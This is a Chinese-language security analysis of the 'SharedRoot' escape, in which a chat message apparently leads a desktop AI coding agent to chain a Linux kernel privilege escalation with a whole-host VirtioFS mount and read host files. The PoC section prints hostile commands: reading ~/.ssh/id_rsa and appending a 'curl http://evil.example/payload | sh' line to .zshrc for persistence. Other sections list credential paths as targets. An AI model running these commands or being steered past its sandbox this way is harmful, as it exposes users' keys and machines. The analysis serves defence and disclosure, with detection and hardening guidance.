目录


1. 背景:当 AI Agent 真正"动手"时,沙箱就是攻击面

AI Agent 正从"对话助手"演变为"自主执行体":它们能写代码、跑 shell、装依赖、改文件、操作 IDE、调用本地工具链。这些能力在提升研发效率的同时,也把一个被忽视的问题推到了前台:

当 Agent 拥有执行权限时,它的执行环境的安全性,已经和模型本身的安全性同等重要。

传统的"恶意内容 → 用户中招"模型,现在变成了"恶意内容 → Agent 在沙箱内执行 → 沙箱是否够硬"。一旦 Agent 处理了不可信输入(例如一个被投毒的 README、一段带 prompt injection 的依赖脚本、一个外部仓库中的文件),攻击者就有机会通过 Agent 的执行通道触发本地漏洞。

Claude Cowork 的 SharedRoot 正是这条路径上的一个典型案例:研究者仅用一条聊天消息,就让 Agent 完成了从普通 guest 用户到读取宿主 ~/.ssh/ 的全过程,全程无任何用户确认弹窗。


2. Claude Cowork 的隔离架构

Claude Cowork 是 Anthropic 推出的桌面端 AI 编码助手。用户可以连接本地项目目录,让 Claude 读写代码、运行命令、自动化工程任务。为了避免让模型直接在 macOS 上"裸跑",Anthropic 采用了如下隔离设计:

┌──────────────────────────────────────────────────────────────┐
│                     macOS 宿主(Host)                       │
│                                                              │
│   ┌────────────────────────────────────────────────────┐    │
│   │   Apple Virtualization Framework 创建的 Linux VM    │    │
│   │                                                    │    │
│   │   - 一个全新的 Linux 实例(一次性、用完即弃)        │    │
│   │   - 一个非特权 Linux 用户(session user)           │    │
│   │   - namespace 隔离(user / net / ...)              │    │
│   │   - seccomp BPF syscall 过滤器                      │    │
│   │   - 一个特权守护进程 coworkd(以 guest-root 运行)   │    │
│   │                                                    │    │
│   │   文件访问通过 VirtioFS 挂载:                      │    │
│   │     /mnt/.virtiofs-root  →  宿主 "/"  (read-write)  │    │
│   │     /mnt/<shared-folder> →  用户共享目录            │    │
│   │                                                    │    │
│   └────────────────────────────────────────────────────┘    │
│                                                              │
│   用户主目录:~/.ssh, ~/.aws, ~/.kube, ~/.config/gcloud ... │
└──────────────────────────────────────────────────────────────┘

每个会话获得:

  • 一个全新的 Linux VM(基于 Apple Virtualization Framework)
  • 一个非特权 Linux 用户作为 session user
  • namespace 隔离(user namespace + network namespace 等)
  • 一个 seccomp syscall 过滤器
  • 一个一次性的执行环境(会话结束后销毁)
  • 一个特权守护进程 coworkd,负责管理共享文件、重执行 helper 二进制

文件共享通过 VirtioFS 实现——这是专为虚拟机设计的高性能共享文件系统,能让 guest 几乎瞬时访问 host 上的文件,对大型项目尤其重要。

这套架构本身是合理且常见的,类似于云沙箱提供商和安全容器平台的做法。问题出在:它如何把宿主文件系统共享给 guest。


3. SharedRoot 漏洞概览

项目 内容
漏洞名称 SharedRoot
披露方 Accomplish AI(Oren Yomtov、Or Hiltch)
披露日期 2026-07-23
受影响产品 Anthropic Claude Cowork(macOS 本地执行模式)
受影响规模 约 50 万本地运行 Cowork 会话的 macOS 用户
攻击向量 一条聊天消息 → Agent 在 guest 内执行命令链
关键内核原语 CVE-2026-46331(pedit COW),Linux act_pedit 模块越界写
攻击效果 guest-root 权限 → 读写宿主文件系统(用户权限范围内)
是否 hypervisor 逃逸 否,未利用 Apple Virtualization Framework 漏洞
Anthropic 官方定性 "Informative"(信息性),未对本地模式发布独立修复
当前缓解 新会话默认走云端执行(cloud-by-default)

核心结论: SharedRoot 不是 hypervisor 逃逸,而是"guest 内提权 + 宿主文件系统已经被挂载进 guest"两个事实叠加的结果。一旦攻击者在 guest 内拿到 root,所谓"隔离"就名存实亡——因为整个宿主 / 早就以 read-write 形式挂在 /mnt/.virtiofs-root 上了。


4. 攻击全链路拆解

整个攻击链可以拆成 6 步,从一条聊天消息开始,到读取宿主 ~/.ssh/id_rsa 结束。研究者给出的最小 PoC 描述是:

"We connected a folder to a fresh Claude Cowork session, sent one short message, and watched the agent escape the sandbox."

下面逐步拆解。

4.1 Step 1:从一条聊天消息到 guest 内的 user namespace

Agent 在 guest 内以非特权用户身份运行 shell。第一步是无害的 Linux 原语——unprivileged user namespace:

# 1. 创建一个新的 user namespace,并把当前用户映射为该 namespace 内的 root
unshare --user --map-root-user --net

这一步不利用任何漏洞。在默认配置下(RHEL、Debian、Ubuntu 都开启 unprivileged user namespaces),任何非特权进程都能调用 unshare 创建新的 user namespace,并在其中获得"root"身份。

注意:这个"root"只是 namespace 内的 root,并不直接拥有对宿主或 guest 真实 root 资源的访问权。但它带来了一个关键能力——namespace 内的能力(capabilities),其中就包括 CAP_NET_ADMIN。

4.2 Step 2:CAP_NET_ADMIN 加载 act_pedit 内核模块

拿到 CAP_NET_ADMIN 后,攻击者可以在自己的 network namespace 内配置 Linux 流量控制(traffic control, tc):

# 2. 在 namespace 内配置 tc,触发 act_pedit 模块加载
tc qdisc add dev lo root handle 1: prio
tc filter add dev lo parent 1: protocol ip u32 match u32 0 0 \
    action pedit munge offset 0 u8 set 0

关键点:

  • act_pedit 是 tc 子系统中的"包编辑"动作模块,用于在线修改网络包内容。
  • 该模块在大多数发行版上不会预先加载,而是在首次被 tc 引用时按需自动加载(request_module)。
  • Cowork 的 seccomp 过滤器允许 netlink socket 访问,而配置 tc 正是通过 netlink(rtnetlink)完成的——seccomp 没有阻断这条路径。
  • 由于 CAP_NET_ADMIN 在 namespace 内生效,攻击者无需真实 host 权限就能触发该模块加载并配置 pedit 规则。

到这里,攻击者已经把一个有漏洞的内核模块 (act_pedit) 拉进了 guest 内核的地址空间。

4.3 Step 3:CVE-2026-46331(pedit COW)污染 guest 内核 page cache

act_pedit 模块加载后,攻击者就可以利用 CVE-2026-46331(pedit COW)——一个 Linux 内核 tc 子系统的越界写漏洞(详见 第 5 节)。

该漏洞的本质是:tcf_pedit_act() 在编辑网络包数据时,写入了本不该写的 page cache 页——而这些页可能正好是某个 setuid 二进制(如 /bin/su)在内存中的缓存镜像。

攻击者通过精心构造 pedit 规则,把目标二进制的内存镜像"在线打补丁"——磁盘上的文件从未改变,文件完整性监控(FIM)看不到任何异常,但内核下次执行该二进制时加载的却是被篡改后的指令。

4.4 Step 4:coworkd 重执行被污染的 setuid 二进制,完成 guest-root 提权

光污染 page cache 还不够,还需要有人去执行那个被污染的二进制。Cowork 的设计中有一个关键角色:coworkd 守护进程。

coworkd 以 guest-root 身份运行,负责管理共享文件、执行某些 helper 程序。研究表明,coworkd 会周期性或按需地重新执行某些 helper 二进制。

攻击链如下:

  1. 攻击者通过 pedit COW 污染了某个 coworkd 会重执行的 helper 二进制(或 setuid 二进制)的 page cache。
  2. coworkd 再次执行该二进制。
  3. 内核从 page cache 加载——执行的是被篡改后的指令。
  4. 攻击者借此获得 guest 内的真正 root 权限。

这一步是整个链路中把"page cache 写原语"转化为"完整 guest-root"的关键跳板。研究者特别强调:

"Cowork's root daemon (coworkd) re-executes a helper binary after the kernel bug has already corrupted it, converting a page-cache bug into a privilege escalation inside the guest."

4.5 Step 5:从 guest-root 到宿主文件系统(/mnt/.virtiofs-root)

一旦攻击者在 guest 内成为 root,所有 guest 内的文件权限保护都不再有意义——包括 /mnt/.virtiofs-root 这个挂载点的访问限制。

Cowork 的设计选择是:把整个宿主文件系统(/)通过 VirtioFS 以 read-write 方式挂载到 guest 内的 /mnt/.virtiofs-root,而不是只挂载用户明确共享的那个目录。

# 5. guest-root 直接访问宿主文件系统
ls /mnt/.virtiofs-root/Users/<host-user>/
cat /mnt/.virtiofs-root/Users/<host-user>/.ssh/id_rsa

原本这层挂载"看起来是安全的",因为只有 guest-root 才能访问 /mnt/.virtiofs-root,而 session user 是非特权用户。但 Step 4 已经让攻击者拿到了 guest-root——这层保护随即失效。

这是 SharedRoot 得名的原因:guest 的 root 与宿主的文件系统在某种意义上"共享了同一个根"。

4.6 Step 6:横向攫取高价值资产

拿到对宿主文件系统的读写权后,AI Agent 凭借其对开发环境的"语义理解",可以高效定位高价值目标,而无需盲目扫目录:

资产类型 典型路径
SSH 私钥 ~/.ssh/id_rsa, ~/.ssh/id_ed25519
AWS 凭据 ~/.aws/credentials, ~/.aws/config
GCP 凭据 ~/.config/gcloud/legacy_credentials/, ~/.config/gcloud/application_default_credentials.json
Azure CLI token ~/.azure/
Kubernetes 配置 ~/.kube/config
Docker 凭据 ~/.docker/config.json
Git 配置与 token ~/.gitconfig, ~/.config/gh/hosts.yml
Shell 启动脚本(持久化) ~/.zshrc, ~/.bashrc, ~/.profile
macOS 持久化 ~/Library/LaunchAgents/*.plist
浏览器会话 / Cookie ~/Library/Application Support/...
签名密钥 / 证书 ~/.gnupg/, ~/Library/Keychain/

注意:攻击者的权限上限是登录的桌面用户,而非 macOS root。但对大多数开发者而言,这个区分几乎没有保护意义——上述高价值资产几乎全部位于用户主目录下,且以用户权限可读。


5. 关键内核原语:CVE-2026-46331(pedit COW)详解

SharedRoot 链路中最核心的内核原语是 CVE-2026-46331,社区昵称 pedit COW。Red Hat 将其评级为 Important。该漏洞于 2026 年 6 月 16 日分配 CVE,公开 PoC 在 24 小时内出现。

5.1 漏洞位置

  • 子系统:Linux Traffic Control(tc)
  • 模块:act_pedit(包编辑动作)
  • 函数:tcf_pedit_act()
  • 类型:Out-of-bounds write(越界写)

5.2 根因:COW 失效

tcf_pedit_act() 的设计意图是在编辑网络包数据前先做一份私有拷贝(copy-on-write, COW),避免修改共享内存。

问题在于:范围检查(range check)执行得太早——在所有 pedit key 的最终偏移都已知之前就完成了校验。部分 key 的偏移在运行时才解析出来,此时检查早已通过。

[正常流程]
  range check (一次性) → 拷贝私有数据 → 编辑私有数据
                          ↑
                          假设所有 offset 已知

[实际流程]
  range check (过早) → 拷贝私有数据 → 运行时解析 offset
                                       ↓
                                   offset 落在私有拷贝之外
                                       ↓
                                   写入共享的 page-cache 页

当运行时解析出的 offset 落在私有拷贝区域之外时,写入会"穿透"到共享的 page-cache 页。如果该页正好是某个文件(典型:setuid 二进制 /bin/su)的缓存镜像,那么该二进制的内存镜像就被污染了。

5.3 利用前置条件

PoC 需要两个前置条件:

  1. act_pedit 可加载——在受影响系统上,首次被 tc 引用时自动加载。
  2. unprivileged user namespaces 开启——RHEL、Debian 默认开启;Ubuntu 通过 AppArmor 限制但可绕过。

两者结合,使本地非特权用户可以创建 namespace、获取 CAP_NET_ADMIN、配置 tc pedit 动作,从而触发漏洞。

5.4 利用效果

  • 目标:/bin/su(或其他 setuid 二进制)
  • 手法:用小 payload 污染其内存镜像中的关键指令(通常是认证检查相关的条件分支)
  • 触发:执行 /bin/su 时,内核从 page cache 加载——运行的是被篡改的指令
  • 结果:直接获得 root shell
  • 磁盘上的文件:从未改变
  • 文件完整性监控(FIM):看不到任何异常
  • 内核审计日志:无相关记录

这与 2022 年的 Dirty Pipe、2026 年 4 月的 Copy Fail、5 月的 DirtyFrag、以及 CVE-2026-43503(DirtyClone)属于同一类问题:

内核 fast path 写入了一个它并不独占的页,page cache 承受了这次写入,特权代码从被污染的内存中运行。

5.5 受影响发行版(截至 2026-06-25)

发行版 状态
Debian trixie 已通过 security 通道修复
Debian 11 / 12 仍标记为 vulnerable
Ubuntu 18.04 – 26.04 标记为 vulnerable(26.04 通过 AppArmor 阻断默认路径,但内核仍 vulnerable)
RHEL 8 / 9 / 10 受影响
RHEL 7 未列入

5.6 在 SharedRoot 中的特殊意义

pedit COW 本身只是一个"普通的" Linux LPE。但在 SharedRoot 链路中,它被赋予了远超其本身的影响:

  • 在普通服务器上,pedit COW 把普通用户提到 root——影响范围限于该主机。
  • 在 Cowork 中,guest 内的 root 直接等价于宿主 macOS 文件系统的读写权——影响范围跨越了 VM 边界,触及用户真实的工作环境。

这正是 SharedRoot 的核心论点:沙箱的安全不能依赖"guest 永远拿不到 root"这一假设。


6. 四个"看似无害"的设计缺陷如何叠加成完整逃逸

Accomplish AI 反复强调:SharedRoot 不是单一 bug,而是四个独立设计决策的叠加。任何一个被打破,整条链路都会失效。

缺陷 1:把整个宿主文件系统挂进 guest(Whole-host mount)

设计选择:通过 VirtioFS 把宿主 / 以 read-write 挂载到 /mnt/.virtiofs-root,而非只挂载用户明确共享的那个目录。

为什么这样做:可能为了支持 Agent 访问宿主上的某些系统资源(例如读取全局配置、调用宿主工具链),或简化实现。

为什么是缺陷:把"用户共享的目录"这个最小权限边界,扩大成了"整个磁盘"。guest-root 一旦失守,整个宿主文件系统暴露。

正确做法:只挂载用户明确共享的目录;需要 read-write 的部分尽量收窄;其余一律 read-only 或不挂。

缺陷 2:未禁用 unprivileged user namespaces

设计选择:guest 内允许任何非特权进程调用 unshare 创建 user namespace 并获取 namespace 内的 root(含 CAP_NET_ADMIN)。

为什么是缺陷:这直接满足了 CVE-2026-46331 的两个前置条件之一。namespace 本身不是漏洞,但它提供了触发漏洞所需的权限。

正确做法:对 Cowork 这种用途的 guest,session user 根本不需要 user namespace——应该通过 sysctl 禁用:

# Debian/Ubuntu
sysctl -w kernel.unprivileged_userns_clone=0
# 或 RHEL 系
sysctl -w user.max_user_namespaces=0

设计选择:seccomp BPF 过滤器采用 default-allow 策略,且允许 netlink socket(AF_NETLINK)访问。

为什么是缺陷:配置 tc 规则正是通过 netlink(rtnetlink)完成的。允许 netlink = 允许触发 act_pedit 模块加载 = 允许触发 CVE-2026-46331。

正确做法:采用 default-deny 策略,显式放行必要的 syscall;对 unshare、setns、clone3、AF_NETLINK 等"沙箱越狱常用原语"除非必要否则一律阻断。

缺陷 4:未阻断内核模块自动加载

设计选择:guest 内核允许按需自动加载模块(request_module),包括 act_pedit。

为什么是缺陷:即使 session user 没有 CAP_NET_ADMIN,namespace + netlink 也能"按需"把一个有漏洞的内核模块拉进内核地址空间。模块黑名单是阻断这条路径的最后机会,但 Cowork 没有做。

正确做法:

# 检查模块是否在用
lsmod | grep act_pedit

# 不在用则禁用自动加载
echo 'install act_pedit /bin/true' | tee /etc/modprobe.d/disable-act_pedit.conf

缺陷 5(隐含):coworkd 信任自己重执行的二进制

设计选择:coworkd 以 guest-root 身份运行,并会重执行某些 helper 二进制,且对这些二进制的完整性没有额外校验(例如未做签名校验、未使用 fs-verity 等)。

为什么是缺陷:这把"page cache 写原语"转化为了"完整 guest-root 提权"。如果 coworkd 对重执行的二进制有完整性校验(哪怕只是比对磁盘上的 hash),pedit COW 这种"只改内存不改磁盘"的攻击就会被拦截——因为校验会从磁盘读,而执行会从 page cache 读,两者不一致本身就是一个信号。

叠加效应:

缺陷1 (整盘挂载)  ──┐
缺陷2 (user ns)   ──┼──► 任何一条被打破,链路即断
缺陷3 (seccomp)   ──┤     但 Cowork 四条全中
缺陷4 (mod auto)  ──┤
缺陷5 (coworkd)   ──┘

研究者的核心论点是:这四个决策单独看都不算"漏洞",但叠加起来把一个公开的内核 LPE 变成了完整的沙箱逃逸。这正是为什么他们把 SharedRoot 视为架构性问题,而非单纯的内核 bug。


7. PoC 复现要点(教学性质)

声明:本节仅用于教学与防御研究。未经授权对真实系统进行此类攻击是违法行为。

研究者公开的最小复现路径(来自 Awesome Agents 与 Accomplish AI 的披露):

# 前置:一个全新的 Claude Cowork 会话,连接一个任意文件夹
# 触发:发送一条聊天消息,让 Agent 在 guest 内执行如下命令链

# === 在 guest 内(session user 身份)===

# 1. 创建 user + net namespace,获取 namespace 内的 root 与 CAP_NET_ADMIN
unshare --user --map-root-user --net

# 2. 在 namespace 内配置 tc,触发 act_pedit 模块加载并触发 CVE-2026-46331
tc qdisc add dev lo root handle 1: prio
tc filter add dev lo parent 1: protocol ip u32 match u32 0 0 \
    action pedit munge offset 0 u8 set 0

#    (实际 PoC 中 pedit 规则会精心构造,以污染特定二进制的 page cache)
#    tcf_pedit_act() 的越界写会命中 /bin/su 或 coworkd helper 的缓存页

# 3. 等待 coworkd 重执行被污染的 helper → 获得 guest-root

# === 在 guest 内(guest-root 身份)===

# 4. 访问宿主文件系统
ls /mnt/.virtiofs-root/Users/<host-user>/
cat /mnt/.virtiofs-root/Users/<host-user>/.ssh/id_rsa

# 5. (可选)写入宿主,例如在 .zshrc 中植入持久化
echo 'curl http://evil.example/payload | sh' \
    >> /mnt/.virtiofs-root/Users/<host-user>/.zshrc

研究者验证:从"隔离的" guest 内写入的文件,几乎立即出现在宿主用户主目录下,全程无确认对话框,无任何提示告知用户隔离边界已被突破。Cowork 的任务队列与审批弹窗机制整条链路中从未触发——因为从沙箱内部看,每一步都"看起来不需要权限申请"。


8. 检测与可观测性

SharedRoot 的检测非常困难,因为大部分活动看起来就是 Cowork 的正常行为:AI 本来就会被允许执行 shell、改文件、调用工具链。传统 EDR 在 guest 内的可见性有限。

8.1 没有传统 IoC

SharedRoot 不产生:

  • 恶意文件 hash
  • 已知 C2 IP / 域名
  • 注册表键(macOS 也不适用)
  • 恶意文件名
  • 可疑网络特征(整个 pedit COW 部分在 loopback / namespace 内完成)

目前没有任何针对 SharedRoot 的公开网络层 IoC。

8.2 应关注的行为指标

防守方应重点关注"超出共享目录的异常修改",尤其是会话结束后立即出现的对以下路径的未授权变更:

路径 含义
~/.ssh/ SSH 私钥 / known_hosts
~/.aws/credentials AWS 长效凭据
~/.config/gcloud/ GCP 凭据
~/.kube/config K8s 集群凭据
~/.azure/ Azure CLI token
~/.docker/config.json 镜像仓库凭据
~/.gitconfig Git 身份 / token
~/.zshrc, ~/.bashrc, ~/.profile Shell 启动脚本(持久化点)
~/Library/LaunchAgents/*.plist macOS 持久化点

8.3 检测策略建议

  1. 基于路径的告警:监控 ~/.ssh/、~/.aws/、~/.kube/ 等敏感目录的写入,特别是非交互式进程的写入。
  2. 会话关联:本地 Cowork 会话结束后 5–30 分钟内出现的敏感文件修改,应作为高优先级事件调查。
  3. 共享目录外的写入:任何由 Cowork 子进程发起的、落在用户明确共享目录之外的文件写入,都应视为可疑。
  4. LaunchAgent 新增:监控 ~/Library/LaunchAgents/ 下新出现的 plist 文件。
  5. shell rc 文件变更:对 ~/.zshrc、~/.bashrc 的追加写入做 diff 审计。
  6. VirtioFS 访问监控:如果可行,在宿主侧监控 Cowork VM 进程对共享目录之外路径的访问(这需要 Anthropic 提供更细粒度的可观测性接口)。

8.4 可观测性的根本难题

研究者指出,SharedRoot 的一个深层问题是:沙箱内部的活动对宿主几乎不可见。Cowork 没有提供"guest 内 syscall 审计日志回传宿主"的机制,也没有"共享目录外的文件访问告警"。这意味着:

  • 攻击者在 guest 内的提权过程,宿主侧的 EDR 看不到。
  • 攻击者通过 VirtioFS 读写宿主文件时,宿主侧看到的是 Cowork VM 进程的合法 I/O——除非做路径级的精细监控,否则难以区分。

这是所有"本地沙箱 + 共享文件系统"类设计共同面临的可观测性难题,不只是 Cowork 的问题。


9. 缓解与修复建议

9.1 用户侧(立即执行)

  1. 升级 Cowork 到最新版本,让新会话默认走云端执行。云端执行没有本地宿主文件系统"一步之遥",从架构上规避了 SharedRoot 这条具体路径。
  2. 如果必须本地执行,评估是否真的有必要。SharedRoot 的本地路径目前没有官方独立修复。
  3. 不要在本地会话中连接包含高价值凭据的目录,例如同时包含 ~/.ssh 软链或 .env 文件的项目。
  4. 轮换可能暴露的凭据:如果近期用过本地 Cowork,建议轮换 SSH 私钥、AWS / GCP / Azure 凭据、Kubeconfig 等。
  5. 检查持久化点:查看 ~/.zshrc、~/.bashrc、~/Library/LaunchAgents/ 是否有可疑条目。

9.2 架构侧(Accomplish AI 给出的四项加固建议)

这四项建议是针对 Cowork 设计的,但同样适用于任何"本地 VM + 共享文件系统"的 AI Agent 沙箱:

建议 1:禁用 unprivileged user namespaces

# Debian / Ubuntu
sysctl -w kernel.unprivileged_userns_clone=0

# RHEL 系
sysctl -w user.max_user_namespaces=0

效果:直接切断 unshare 路径,让 session user 无法获取 CAP_NET_ADMIN,从而无法触发 CVE-2026-46331。

副作用:会破坏 rootless 容器(Podman、rootless Docker)、某些浏览器沙箱、部分 CI 沙箱。需评估后再部署。

建议 2:采用 default-deny 的 seccomp 过滤器

阻断 unshare、setns、clone3、AF_NETLINK 等"沙箱越狱常用原语",除非进程明确需要。

效果:即使 user namespace 没禁用,也无法通过 netlink 触发 act_pedit 加载。

建议 3:阻断未用内核模块的自动加载

# 检查
lsmod | grep act_pedit

# 禁用
echo 'install act_pedit /bin/true' | tee /etc/modprobe.d/disable-act_pedit.conf

效果:即使攻击者有 CAP_NET_ADMIN,也无法把有漏洞的 act_pedit 拉进内核。这是"纵深防御"的最后一道门。

前提:环境不依赖 tc pedit 规则。部署前需确认。

建议 4:把 VM 的宿主挂载收窄到共享目录,且尽量 read-only

效果:即使 guest 完全失守,攻击者也只能看到用户明确共享的那个目录——而不是整个 /。这是把"guest root 等价于 host 文件系统"这个等式打破的根本措施。

[错误]  /mnt/.virtiofs-root  →  宿主 "/"  (rw)
[正确]  /mnt/<shared-folder> →  宿主 "~/projects/foo"  (rw 或 ro)
        其余宿主路径不挂载

建议 5(本文补充):对 coworkd 重执行的二进制做完整性校验

  • 使用 fs-verity 或类似机制对 helper 二进制做完整性标记。
  • coworkd 在重执行前,从磁盘读取并校验 hash,而非信任 page cache。
  • 当磁盘 hash 与执行时不一致(意味着 page cache 被污染)时,拒绝执行并告警。

9.3 内核侧

  • 及时打补丁:CVE-2026-46331 在各发行版的 security 通道已有修复。注意 DirtyFrag 系列(CVE-2026-43284、-43500、-46300、-43503)是一组,需确认所有补丁都已应用,部分 backport 可能遗漏。
  • 关注 netdev 邮件列表:pedit COW 的修复在 CVE 分配前数周就已躺在邮件列表上。对 page-cache 类漏洞,等待扫描器变红往往太慢。

10. Anthropic 的回应与争议

Anthropic 的安全团队将 Accomplish AI 的报告关闭,标记为 "Informative"(信息性),未对本地执行模式发布独立修复。其理由(据研究者转述):

  1. 底层内核 bug(CVE-2026-46331)已在 Anthropic 自己的 30 天公开披露窗口内——这是 Linux 内核的问题,不是 Cowork 的问题。
  2. Accomplish AI 提出的四项加固建议,被 Anthropic 定性为 defense-in-depth(纵深防御)措施,而非独立漏洞的修复。

与此同时,Anthropic 在未直接回应 SharedRoot 的情况下,发布了一个 Cowork 更新:新会话默认走云端执行,而非本地 VM。云端执行从架构上规避了这条具体路径——因为没有了"本地宿主文件系统一步之遥"这个前提。

争议点

研究者的反驳集中在两点:

  1. "内核 bug 不是我的问题"这一立场忽略了架构责任。 SharedRoot 的核心不是 pedit COW 本身,而是"guest root → 整个宿主文件系统"这个等式。这个等式是 Cowork 的设计选择,不是内核的属性。Linux LPE 会持续出现,如果架构假设"guest 永远拿不到 root",那它就是在假设一个历史上反复被证伪的前提。
  2. "默认云端"是产品默认值,不是修复。 它对新会话有效,但本地模式依然作为可选项存在,且底层架构未根本改变。任何主动切回本地的用户,仍然暴露在 SharedRoot 之下。

Cowork 的审批弹窗机制在整个攻击链中从未触发——因为从沙箱内部看,每一步都不"看起来"需要权限申请。这暴露了"基于行为可疑度的审批"在面对"看起来合法的实际攻击"时的固有弱点。


11. 行业启示:沙箱设计需要"假设 guest 必失守"

SharedRoot 不只是一个产品漏洞,它是整个"AI Agent 本地沙箱"范式的一次压力测试。其教训适用于所有让 AI Agent 在本地 VM / 容器中执行并访问宿主文件的产品(不仅是 Cowork,也包括各类 coding agent、computer use agent、自动化运维 agent)。

11.1 沙箱必须"假设 guest 必失守"

传统沙箱设计常隐含一个假设:"guest 内的提权很难发生"。在这个假设下,"guest root 才能访问的宿主挂载"被视为足够安全。

SharedRoot 证伪了这个假设。Linux 内核 LPE 几乎以可预测的频率出现(仅 2026 年 4–6 月就有 Copy Fail、DirtyFrag、Fragnesia、pedit COW、DirtyClone 一连串 page-cache 类漏洞)。如果沙箱的安全依赖"guest 永远拿不到 root",那它就是在赌——而且赌注是用户的整个主目录。

正确的设计心态:沙箱应该保证"即使 guest 内核被完全攻破,宿主仍然安全"。这意味着:

  • 宿主文件系统的暴露面必须最小化(只挂载真正需要的目录,read-only 优先)。
  • guest root 与宿主资源之间不应存在"一道权限墙"的单点防御。
  • 任何"guest root 才能访问"的资源,都应被视为"攻击者拿到 guest root 后就能访问"。

11.2 隔离边界不能依赖单点

SharedRoot 的链路中,"guest root 才能 /mnt/.virtiofs-root"是一道单点防御。它一旦被突破,整条防线崩溃。纵深防御要求:

  • namespace 隔离(阻断 unshare)
  • syscall 过滤(阻断 netlink)
  • 模块加载控制(阻断 act_pedit)
  • 挂载收窄(即使前三道全破,宿主也不暴露)
  • 二进制完整性校验(即使 page cache 被污染,也不执行被篡改代码)

任何一道独立成立都能阻断 SharedRoot。Cowork 的问题不是缺少某一道,而是一道都没做。

11.3 AI Agent 的"语义理解"放大了文件系统泄露的影响

传统的本地提权(LPE)拿到 root 后,攻击者仍需"找东西"——扫目录、识别配置格式、判断哪些文件有价值。这个过程慢、噪声大、容易被检测。

AI Agent 不同。它天生理解开发环境:能识别 .aws/credentials 的格式、知道 ~/.kube/config 意味着什么、看懂 LaunchAgent plist 的结构、理解 .zshrc 中追加一行 curl ... | sh 的效果。这意味着:

  • 文件系统泄露在 AI Agent 场景下,比传统 LPE 更高效地转化为横向移动能力。
  • 防守方不能假设"攻击者需要时间 reconnaissance"——Agent 几乎可以瞬间定位并 exfil 高价值资产。
  • 审批弹窗机制在面对"看起来合法的文件操作"时几乎无效——因为 Agent 本来就会被允许读写文件。

11.4 可观测性是沙箱的必备能力

SharedRoot 暴露的另一个问题是:guest 内的活动对宿主几乎不可见。这不应是沙箱的默认状态。一个合格的 AI Agent 沙箱应提供:

  • guest 内 syscall 审计日志,回传宿主或云端。
  • 共享目录之外的文件访问告警(即使是被允许的,也应记录)。
  • 内核模块加载事件的可观测性。
  • page cache 异常的检测能力(例如对 setuid 二进制的内存镜像做周期性 hash 比对)。
  • 会话级审计:每个 Cowork 会话开始 / 结束时,对宿主敏感路径做快照,会话结束后 diff。

11.5 "本地 vs 云端"不只是性能问题,更是安全权衡

Anthropic 把默认切到云端,本质上是承认了"本地沙箱做对很难"。云端执行把"guest root → 宿主文件系统"这个等式从架构上消除了——因为云端 VM 里没有用户的 ~/.ssh。

但这也带来了新的权衡:

  • 数据隐私:本地模式让代码留在本机;云端模式让代码上云。对企业合规而言这是两个不同的风险面。
  • 网络依赖:云端模式依赖网络,离线场景不可用。
  • 新的攻击面:云端执行引入了新的隔离边界(云端 VM 之间、云端 VM 与 Anthropic 基础设施之间),这需要 Anthropic 自己保证。

SharedRoot 的教训不是"本地一定不安全",而是"本地沙箱如果要做,就必须把'guest 必失守'作为设计前提"。做不到这一点的本地沙箱,本质上是把内核 LPE 的成本转嫁给了用户的主目录。


12. 时间线

时间 事件
2026-05 下旬 pedit COW 修复提交至 netdev 邮件列表,被描述为"例行数据损坏补丁",无 CVE、无安全公告
2026-06-16 CVE-2026-46331 正式分配,补丁合入 mainline
2026-06-17 公开 PoC 出现(24 小时内)
2026-06-25 JFrog 发布 DirtyClone(CVE-2026-43503)利用详解;pedit COW 影响范围确认
2026-07-23 Accomplish AI 公开披露 SharedRoot;The Hacker News、GBHackers、CyberSecurity News 等报道
2026-07-24 多家媒体跟进分析;Anthropic 被指将报告标记为 "Informative"
2026-07-25 nowosci.ai 等发布深度解读;行业讨论扩展到"AI Agent 沙箱设计范式"
披露前 Accomplish AI 按 responsible disclosure 程序先行向 Anthropic 与 The Hacker News 披露细节
披露时 Anthropic 已将新会话默认切到云端执行;本地模式仍作为可选项保留,底层架构未根本改变

13. 参考资料

一手披露

主要媒体报道

内核原语背景

相关产品


总结

SharedRoot 是一个值得反复研究的案例,不是因为它利用了什么新奇的黑客技术——恰恰相反,它用的每一个原语(user namespace、netlink、tc pedit、page cache 污染、VirtioFS 挂载)都是公开且成熟的。它的杀伤力来自把一个公开的内核 LPE,通过四个"各自看似无害"的设计决策,放大成了跨越 VM 边界的宿主文件系统读写。

对工程师而言,SharedRoot 留下的核心教训可以浓缩成一句话:

沙箱的安全边界,必须设计成"即使 guest 内核被完全攻破,宿主仍然安全"。任何依赖"guest 永远拿不到 root"的隔离设计,都是在赌一个历史上反复被证伪的前提。

对 AI Agent 产品的使用者而言,则是一个更直接的提醒:本地沙箱的"隔离"两个字,不等于"安全"两个字。在产品方没有明确说明其隔离边界如何抵御 guest 内核失守之前,把高价值凭据留在本地主目录、同时运行本地 Agent,是一个需要重新评估的风险决策。


本文为纯技术分析,旨在用于防御研究与架构反思。所有 PoC 命令均为教学性质,请勿用于未授权测试。